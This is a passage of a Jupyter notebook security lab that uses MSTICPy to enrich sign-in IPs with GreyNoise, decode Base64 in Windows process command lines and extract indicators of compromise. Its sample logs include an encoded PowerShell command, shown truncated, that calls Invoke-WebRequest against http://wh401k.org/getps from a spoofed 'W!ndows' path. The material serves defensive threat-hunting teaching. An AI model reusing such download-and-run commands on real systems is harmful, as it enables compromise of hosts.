   ],
   "source": [
    "# Use the query provider qry_prov to get Azure Azure signin data with the list_all_signins_geo query\n",
    "logons_df = qry_prov.Azure.list_all_signins_geo()\n",
    "logons_df.head()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Ioc</th>\n",
       "      <th>IocType</th>\n",
       "      <th>SafeIoc</th>\n",
       "      <th>QuerySubtype</th>\n",
       "      <th>Provider</th>\n",
       "      <th>Result</th>\n",
       "      <th>Severity</th>\n",
       "      <th>Details</th>\n",
       "      <th>RawResult</th>\n",
       "      <th>Reference</th>\n",
       "      <th>Status</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>24.13.212.221</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>24.13.212.221</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>False</td>\n",
       "      <td>information</td>\n",
       "      <td>Not found.</td>\n",
       "      <td>&lt;Response [404 Not Found]&gt;</td>\n",
       "      <td>https://api.greynoise.io/v3/community/24.13.212.221</td>\n",
       "      <td>404</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>24.16.133.227</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>24.16.133.227</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>False</td>\n",
       "      <td>information</td>\n",
       "      <td>Not found.</td>\n",
       "      <td>&lt;Response [404 Not Found]&gt;</td>\n",
       "      <td>https://api.greynoise.io/v3/community/24.16.133.227</td>\n",
       "      <td>404</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>24.16.133.227</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>24.16.133.227</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>False</td>\n",
       "      <td>information</td>\n",
       "      <td>Not found.</td>\n",
       "      <td>&lt;Response [404 Not Found]&gt;</td>\n",
       "      <td>https://api.greynoise.io/v3/community/24.16.133.227</td>\n",
       "      <td>404</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>24.13.212.221</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>24.13.212.221</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>False</td>\n",
       "      <td>information</td>\n",
       "      <td>Not found.</td>\n",
       "      <td>&lt;Response [404 Not Found]&gt;</td>\n",
       "      <td>https://api.greynoise.io/v3/community/24.13.212.221</td>\n",
       "      <td>404</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>73.226.223.252</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>73.226.223.252</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>False</td>\n",
       "      <td>information</td>\n",
       "      <td>Not found.</td>\n",
       "      <td>&lt;Response [404 Not Found]&gt;</td>\n",
       "      <td>https://api.greynoise.io/v3/community/73.226.223.252</td>\n",
       "      <td>404</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "              Ioc IocType         SafeIoc QuerySubtype   Provider  Result  \\\n",
       "0   24.13.212.221    ipv4   24.13.212.221         None  GreyNoise   False   \n",
       "1   24.16.133.227    ipv4   24.16.133.227         None  GreyNoise   False   \n",
       "2   24.16.133.227    ipv4   24.16.133.227         None  GreyNoise   False   \n",
       "3   24.13.212.221    ipv4   24.13.212.221         None  GreyNoise   False   \n",
       "4  73.226.223.252    ipv4  73.226.223.252         None  GreyNoise   False   \n",
       "\n",
       "      Severity     Details                   RawResult  \\\n",
       "0  information  Not found.  <Response [404 Not Found]>   \n",
       "1  information  Not found.  <Response [404 Not Found]>   \n",
       "2  information  Not found.  <Response [404 Not Found]>   \n",
       "3  information  Not found.  <Response [404 Not Found]>   \n",
       "4  information  Not found.  <Response [404 Not Found]>   \n",
       "\n",
       "                                              Reference  Status  \n",
       "0   https://api.greynoise.io/v3/community/24.13.212.221     404  \n",
       "1   https://api.greynoise.io/v3/community/24.16.133.227     404  \n",
       "2   https://api.greynoise.io/v3/community/24.16.133.227     404  \n",
       "3   https://api.greynoise.io/v3/community/24.13.212.221     404  \n",
       "4  https://api.greynoise.io/v3/community/73.226.223.252     404  "
      ]
     },
     "execution_count": 14,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Lookup the IP addresses in the IPAddress column using the GreyNoise TI provider\n",
    "tiresults = ti.lookup_iocs(logons_df, obs_col=\"IPAddress\", providers=[\"GreyNoise\"])\n",
    "tiresults.head()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Extracting key data\n",
    "Often when working with security related data the indicators you need are not as readily available as they were in the example above. Often, they can be encoded or otherwise obscured from human analysis. MSTICPy also includes tooling to help security analysts quickly decode this data for further analysis.<br>\n",
    "\n",
    "In this section we are going to query our datasets for command line data, decode any Base64 encoding in the command lines using the [`base64` feature](https://msticpy.readthedocs.io/en/latest/data_analysis/Base64Unpack.html), and then extract known indicator types (such as IP addresses and domain names) from that data using the [`IoCExtract` feature](https://msticpy.readthedocs.io/en/latest/data_analysis/IoCExtract.html)."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>Account</th>\n",
       "      <th>EventID</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>Computer</th>\n",
       "      <th>SubjectUserSid</th>\n",
       "      <th>SubjectUserName</th>\n",
       "      <th>SubjectDomainName</th>\n",
       "      <th>SubjectLogonId</th>\n",
       "      <th>NewProcessId</th>\n",
       "      <th>NewProcessName</th>\n",
       "      <th>TokenElevationType</th>\n",
       "      <th>ProcessId</th>\n",
       "      <th>CommandLine</th>\n",
       "      <th>ParentProcessName</th>\n",
       "      <th>TargetLogonId</th>\n",
       "      <th>SourceComputerId</th>\n",
       "      <th>TimeCreatedUtc</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>WORKGROUP\\MSTICAlertsWin1$</td>\n",
       "      <td>4688</td>\n",
       "      <td>2/10/19 3:21 PM</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>MSTICAlertsWin1$</td>\n",
       "      <td>WORKGROUP</td>\n",
       "      <td>0x3e7</td>\n",
       "      <td>0xd78</td>\n",
       "      <td>C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\CollectGuestLogs.exe</td>\n",
       "      <td>%%1936</td>\n",
       "      <td>0x1994</td>\n",
       "      <td>\"CollectGuestLogs.exe\" -Mode:ga -FileName:C:\\WindowsAzure\\CollectGuestLogsTemp\\710dc858-9c96-4df...</td>\n",
       "      <td>C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\WaAppAgent.exe</td>\n",
       "      <td>0x0</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>21:06.9</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>WORKGROUP\\MSTICAlertsWin1$</td>\n",
       "      <td>4688</td>\n",
       "      <td>2/10/19 3:21 PM</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>MSTICAlertsWin1$</td>\n",
       "      <td>WORKGROUP</td>\n",
       "      <td>0x3e7</td>\n",
       "      <td>0x221c</td>\n",
       "      <td>C:\\Windows\\System32\\conhost.exe</td>\n",
       "      <td>%%1936</td>\n",
       "      <td>0xd78</td>\n",
       "      <td>\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1</td>\n",
       "      <td>C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\CollectGuestLogs.exe</td>\n",
       "      <td>0x0</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>21:06.9</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>WORKGROUP\\MSTICAlertsWin1$</td>\n",
       "      <td>4688</td>\n",
       "      <td>2/10/19 2:15 PM</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>MSTICAlertsWin1$</td>\n",
       "      <td>WORKGROUP</td>\n",
       "      <td>0x3e7</td>\n",
       "      <td>0x638</td>\n",
       "      <td>C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF\\DesiredStateCon...</td>\n",
       "      <td>%%1936</td>\n",
       "      <td>0xe24</td>\n",
       "      <td>\"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF/DesiredStateCo...</td>\n",
       "      <td>C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\MonitoringHost.exe</td>\n",
       "      <td>0x0</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>15:36.3</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>WORKGROUP\\MSTICAlertsWin1$</td>\n",
       "      <td>4688</td>\n",
       "      <td>2/10/19 2:15 PM</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>MSTICAlertsWin1$</td>\n",
       "      <td>WORKGROUP</td>\n",
       "      <td>0x3e7</td>\n",
       "      <td>0x115c</td>\n",
       "      <td>C:\\Windows\\System32\\conhost.exe</td>\n",
       "      <td>%%1936</td>\n",
       "      <td>0x638</td>\n",
       "      <td>\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1</td>\n",
       "      <td>C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF\\DesiredStateCon...</td>\n",
       "      <td>0x0</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>15:36.3</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>WORKGROUP\\MSTICAlertsWin1$</td>\n",
       "      <td>4688</td>\n",
       "      <td>2/10/19 3:48 PM</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-20</td>\n",
       "      <td>MSTICAlertsWin1$</td>\n",
       "      <td>WORKGROUP</td>\n",
       "      <td>0x3e4</td>\n",
       "      <td>0x2364</td>\n",
       "      <td>C:\\Windows\\System32\\reg.exe</td>\n",
       "      <td>%%1936</td>\n",
       "      <td>0x1c24</td>\n",
       "      <td>reg  \"C:\\diagnostics\\WinBenignActivity.cmd\" -25563 /10689</td>\n",
       "      <td>C:\\Windows\\System32\\cmd.exe</td>\n",
       "      <td>0x0</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>48:18.4</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId                     Account  EventID  \\\n",
       "0  52b1ab41-869e-4138-9e40-2a4457f09bf0  WORKGROUP\\MSTICAlertsWin1$     4688   \n",
       "1  52b1ab41-869e-4138-9e40-2a4457f09bf0  WORKGROUP\\MSTICAlertsWin1$     4688   \n",
       "2  52b1ab41-869e-4138-9e40-2a4457f09bf0  WORKGROUP\\MSTICAlertsWin1$     4688   \n",
       "3  52b1ab41-869e-4138-9e40-2a4457f09bf0  WORKGROUP\\MSTICAlertsWin1$     4688   \n",
       "4  52b1ab41-869e-4138-9e40-2a4457f09bf0  WORKGROUP\\MSTICAlertsWin1$     4688   \n",
       "\n",
       "     TimeGenerated         Computer SubjectUserSid   SubjectUserName  \\\n",
       "0  2/10/19 3:21 PM  MSTICAlertsWin1       S-1-5-18  MSTICAlertsWin1$   \n",
       "1  2/10/19 3:21 PM  MSTICAlertsWin1       S-1-5-18  MSTICAlertsWin1$   \n",
       "2  2/10/19 2:15 PM  MSTICAlertsWin1       S-1-5-18  MSTICAlertsWin1$   \n",
       "3  2/10/19 2:15 PM  MSTICAlertsWin1       S-1-5-18  MSTICAlertsWin1$   \n",
       "4  2/10/19 3:48 PM  MSTICAlertsWin1       S-1-5-20  MSTICAlertsWin1$   \n",
       "\n",
       "  SubjectDomainName SubjectLogonId NewProcessId  \\\n",
       "0         WORKGROUP          0x3e7        0xd78   \n",
       "1         WORKGROUP          0x3e7       0x221c   \n",
       "2         WORKGROUP          0x3e7        0x638   \n",
       "3         WORKGROUP          0x3e7       0x115c   \n",
       "4         WORKGROUP          0x3e4       0x2364   \n",
       "\n",
       "                                                                                        NewProcessName  \\\n",
       "0                      C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\CollectGuestLogs.exe   \n",
       "1                                                                      C:\\Windows\\System32\\conhost.exe   \n",
       "2  C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF\\DesiredStateCon...   \n",
       "3                                                                      C:\\Windows\\System32\\conhost.exe   \n",
       "4                                                                          C:\\Windows\\System32\\reg.exe   \n",
       "\n",
       "  TokenElevationType ProcessId  \\\n",
       "0             %%1936    0x1994   \n",
       "1             %%1936     0xd78   \n",
       "2             %%1936     0xe24   \n",
       "3             %%1936     0x638   \n",
       "4             %%1936    0x1c24   \n",
       "\n",
       "                                                                                           CommandLine  \\\n",
       "0  \"CollectGuestLogs.exe\" -Mode:ga -FileName:C:\\WindowsAzure\\CollectGuestLogsTemp\\710dc858-9c96-4df...   \n",
       "1                                              \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1   \n",
       "2  \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF/DesiredStateCo...   \n",
       "3                                              \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1   \n",
       "4                                            reg  \"C:\\diagnostics\\WinBenignActivity.cmd\" -25563 /10689   \n",
       "\n",
       "                                                                                     ParentProcessName  \\\n",
       "0                            C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\WaAppAgent.exe   \n",
       "1                      C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\CollectGuestLogs.exe   \n",
       "2                                 C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\MonitoringHost.exe   \n",
       "3  C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF\\DesiredStateCon...   \n",
       "4                                                                          C:\\Windows\\System32\\cmd.exe   \n",
       "\n",
       "  TargetLogonId                      SourceComputerId TimeCreatedUtc  \n",
       "0           0x0  263a788b-6526-4cdc-8ed9-d79402fe4aa0        21:06.9  \n",
       "1           0x0  263a788b-6526-4cdc-8ed9-d79402fe4aa0        21:06.9  \n",
       "2           0x0  263a788b-6526-4cdc-8ed9-d79402fe4aa0        15:36.3  \n",
       "3           0x0  263a788b-6526-4cdc-8ed9-d79402fe4aa0        15:36.3  \n",
       "4           0x0  263a788b-6526-4cdc-8ed9-d79402fe4aa0        48:18.4  "
      ]
     },
     "execution_count": 15,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Load command line data set\n",
    "cmdl_data = qry_prov.WindowsSecurity.list_host_processes()\n",
    "cmdl_data.head()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now that we have some data in a DataFrame, we can use MSTICP's `mp_b64` Pandas access to call  `extract` and tell it to unpack data found in the 'CommandLine' column. This feature will look for Base64 patterns in that column, attempt to unpack any it finds and present us with the decoded output.<br>\n",
    "\n",
    "`mp_b64.extract` provides an output of just elements relevant to the decoded string, to get some context on where this string was found we next join it back to the original dataset so that we can see the log event and the decoded string in the same dataset."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>Account</th>\n",
       "      <th>Computer</th>\n",
       "      <th>NewProcessName</th>\n",
       "      <th>CommandLine_x</th>\n",
       "      <th>decoded_string</th>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>SourceIndex</th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>21</th>\n",
       "      <td>2/10/19 3:50 PM</td>\n",
       "      <td>WORKGROUP\\MSTICAlertsWin1$</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>C:\\Windows\\System32\\PING.EXE</td>\n",
       "      <td>cGluZyAgbWljcm9zb2Z0LmNvbSAtbiAxNSA=</td>\n",
       "      <td>ping  microsoft.com -n 15</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>968</th>\n",
       "      <td>2/9/19 11:26 PM</td>\n",
       "      <td>MSTICAlertsWin1\\MSTICAdmin</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>C:\\W!ndows\\System32\\powershell.exe</td>\n",
       "      <td>.\\powershell  -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdld...</td>\n",
       "      <td>-Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http:...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "               TimeGenerated                     Account         Computer  \\\n",
       "SourceIndex                                                                 \n",
       "21           2/10/19 3:50 PM  WORKGROUP\\MSTICAlertsWin1$  MSTICAlertsWin1   \n",
       "968          2/9/19 11:26 PM  MSTICAlertsWin1\\MSTICAdmin  MSTICAlertsWin1   \n",
       "\n",
       "                                 NewProcessName  \\\n",
       "SourceIndex                                       \n",
       "21                 C:\\Windows\\System32\\PING.EXE   \n",
       "968          C:\\W!ndows\\System32\\powershell.exe   \n",
       "\n",
       "                                                                                                   CommandLine_x  \\\n",
       "SourceIndex                                                                                                        \n",
       "21                                                                          cGluZyAgbWljcm9zb2Z0LmNvbSAtbiAxNSA=   \n",
       "968          .\\powershell  -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdld...   \n",
       "\n",
       "                                                                                                  decoded_string  \n",
       "SourceIndex                                                                                                       \n",
       "21                                                                                    ping  microsoft.com -n 15   \n",
       "968          -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http:...  "
      ]
     },
     "execution_count": 16,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Base64 decode\n",
    "b64df = cmdl_data.head(1000).mp_b64.extract(column=\"CommandLine\")\n",
    "b64df[\"SourceIndex\"] = pd.to_numeric(b64df[\"src_index\"])\n",
    "merged_df = (\n",
    "    cmdl_data.merge(right=b64df, how=\"left\", left_index=True, right_on=\"SourceIndex\")\n",
    "    # .drop(columns=['Unnamed: 0'])\n",
    "    .set_index(\"SourceIndex\")\n",
    ")\n",
    "\n",
    "# Show the result of the merge (only those rows that have a value in original_string)\n",
    "merged_filtered = merged_df.dropna(subset=[\"decoded_string\"])[\n",
    "    [\n",
    "        \"TimeGenerated\",\n",
    "        \"Account\",\n",
    "        \"Computer\",\n",
    "        \"NewProcessName\",\n",
    "        \"CommandLine_x\",\n",
    "        \"decoded_string\",\n",
    "    ]\n",
    "]\n",
    "merged_filtered"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now that we have the decoded string, we can look for any Indicators of Compromise (IoCs) in these strings. Using [MSTICPy's `IoCExtract`](https://msticpy.readthedocs.io/en/latest/data_analysis/IoCExtract.html) we can search all of these decoded strings for things such as IP addresses, file hashes and URLs. You can choose to search of specific indicator types by passing the `ioc_types` parameter but we want to just search for everything.<br>\n",
    "\n",
    "As with the Base64 decoding we can use a Pandas accessor `mp_ioc.extract` to call the IOC Extractor. We simply call it on the DataFrame and specify which columns to apply it to.\n",
    "\n",
    "MSTICPy has a set of common IoC patterns to search for and extract but you can also extend this by adding your own regex patterns with `add_ioc_type`."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 17,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>IoCType</th>\n",
       "      <th>Observable</th>\n",
       "      <th>SourceIndex</th>\n",
       "      <th>Input</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>dns</td>\n",
       "      <td>microsoft.com</td>\n",
       "      <td>21</td>\n",
       "      <td>ping  microsoft.com -n 15</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>dns</td>\n",
       "      <td>wh401k.org</td>\n",
       "      <td>968</td>\n",
       "      <td>-Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http:...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>url</td>\n",
       "      <td>http://wh401k.org/getps</td>\n",
       "      <td>968</td>\n",
       "      <td>-Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http:...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "  IoCType               Observable  SourceIndex  \\\n",
       "0     dns            microsoft.com           21   \n",
       "1     dns               wh401k.org          968   \n",
       "2     url  http://wh401k.org/getps          968   \n",
       "\n",
       "                                                                                                 Input  \n",
       "0                                                                           ping  microsoft.com -n 15   \n",
       "1  -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http:...  \n",
       "2  -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http:...  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Extract IoCs\n",
    "ioc_df = merged_filtered.mp_ioc.extract(columns=[\"decoded_string\"])\n",
    "display(ioc_df)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "We can also use `domain_utils` to get some other information on the domain, such as what IP addresses it resolves to."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 18,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "{'qname': 'microsoft.com.',\n",
       " 'rdtype': 'A',\n",
       " 'rdclass': 'IN',\n",
       " 'response': 'id 61749\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nmicrosoft.com. IN A\\n;ANSWER\\nmicrosoft.com. 120 IN A 20.81.111.85\\nmicrosoft.com. 120 IN A 104.215.148.63\\nmicrosoft.com. 120 IN A 20.84.181.62\\nmicrosoft.com. 120 IN A 20.112.52.29\\nmicrosoft.com. 120 IN A 20.103.85.33\\n;AUTHORITY\\n;ADDITIONAL',\n",
       " 'nameserver': '192.168.1.1',\n",
       " 'port': 53,\n",
       " 'canonical_name': 'microsoft.com.',\n",
       " 'rrset': ['20.81.111.85',\n",
       "  '104.215.148.63',\n",
       "  '20.84.181.62',\n",
       "  '20.112.52.29',\n",
       "  '20.103.85.33'],\n",
       " 'expiration': datetime.datetime(2022, 4, 20, 1, 33, 2, 25036)}"
      ]
     },
     "execution_count": 18,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "from msticpy.sectools.domain_utils import dns_resolve\n",
    "\n",
    "dns_info = dns_resolve(ioc_df.iloc[0][\"Observable\"])\n",
    "dns_info"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<div class=\"alert alert-block alert-success\">\n",
    "    <h3>Lab Exercise 4</h3>\n",
    "Syslog data is a common data source during security analysis. The syslog data structure includes a lot of key information in a single field that can make extraction complicated. <br>\n",
    "In this exercise you will load syslog data and extract indicators from the Message field.<br>\n",
    "\n",
    "**Bonus Task**:<br>\n",
    "Identify the Base64 encoded syslog messages and extract indicators from those as well.\n",
    "\n",
    "<details>\n",
    "    <summary>Hint:</summary>\n",
    "    <ul>\n",
    "        <li>Syslog data is found under the LinuxSyslog type of queries</li>\n",
    "        <li>Core syslog data is stored in the SyslogMessage column</li>\n",
    "    </ul>\n",
    "</details>\n",
    "</div>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 19,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>SourceSystem</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>Computer</th>\n",
       "      <th>EventTime [UTC]</th>\n",
       "      <th>Facility</th>\n",
       "      <th>HostName</th>\n",
       "      <th>SeverityLevel</th>\n",
       "      <th>SyslogMessage</th>\n",
       "      <th>ProcessID</th>\n",
       "      <th>HostIP</th>\n",
       "      <th>ProcessName</th>\n",
       "      <th>MG</th>\n",
       "      <th>Type</th>\n",
       "      <th>_ResourceId</th>\n",
       "      <th>Source</th>\n",
       "      <th>AccountName</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Linux</td>\n",
       "      <td>5/4/2021, 7:48:01.990 AM</td>\n",
       "      <td>SOC-FW-CEF</td>\n",
       "      <td>5/4/2021, 7:48:01.000 AM</td>\n",
       "      <td>authpriv</td>\n",
       "      <td>SOC-FW-CEF</td>\n",
       "      <td>info</td>\n",
       "      <td>pam_unix(cron:session): session opened for user root by (uid=0)</td>\n",
       "      <td>11466.0</td>\n",
       "      <td>10.0.1.7</td>\n",
       "      <td>CRON</td>\n",
       "      <td>00000000-0000-0000-0000-000000000002</td>\n",
       "      <td>Syslog</td>\n",
       "      <td>/subscriptions/d1d8779d-38d7-4f06-91db-9cbc8de0176f/resourcegroups/soc-fortinet/providers/micros...</td>\n",
       "      <td>user</td>\n",
       "      <td>user</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Linux</td>\n",
       "      <td>5/4/2021, 7:48:01.993 AM</td>\n",
       "      <td>SOC-FW-CEF</td>\n",
       "      <td>5/4/2021, 7:48:01.000 AM</td>\n",
       "      <td>authpriv</td>\n",
       "      <td>SOC-FW-CEF</td>\n",
       "      <td>info</td>\n",
